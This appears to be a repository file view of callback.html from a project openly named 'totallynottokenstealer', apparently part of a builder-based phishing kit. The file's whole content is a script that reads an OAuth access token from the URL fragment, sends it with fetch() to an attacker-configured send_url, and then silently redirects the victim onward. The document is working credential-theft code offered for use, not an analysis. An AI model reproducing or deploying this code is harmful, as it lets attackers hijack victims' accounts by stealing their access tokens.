Files
totallynottokenstealer/dev/html/callback.html
katamaz ce0d14bd77
Some checks failed
Build and Release / build-and-release (push) Failing after 8s
initial
2026-05-28 15:03:31 +03:00

25 lines
612 B
HTML

<!doctype html>
<html>
<head> </head>
<body>
<script>
const redirect_url = `"<<BUILDER_PHP_VAR($redirect_url)>>"`;
const send_url = `"<<BUILDER_PHP_VAR($send_url)>>"`;
const href = location.hash;
const token = location.hash.substring(
href.indexOf("access_token=") + 13,
href.indexOf("&"),
);
if (!token) {
window.location.href = redirect_url;
}
fetch(send_url + "&token=" + encodeURIComponent(token)).then(
(response) => {
window.location.href = redirect_url;
},
);
</script>
</body>
</html>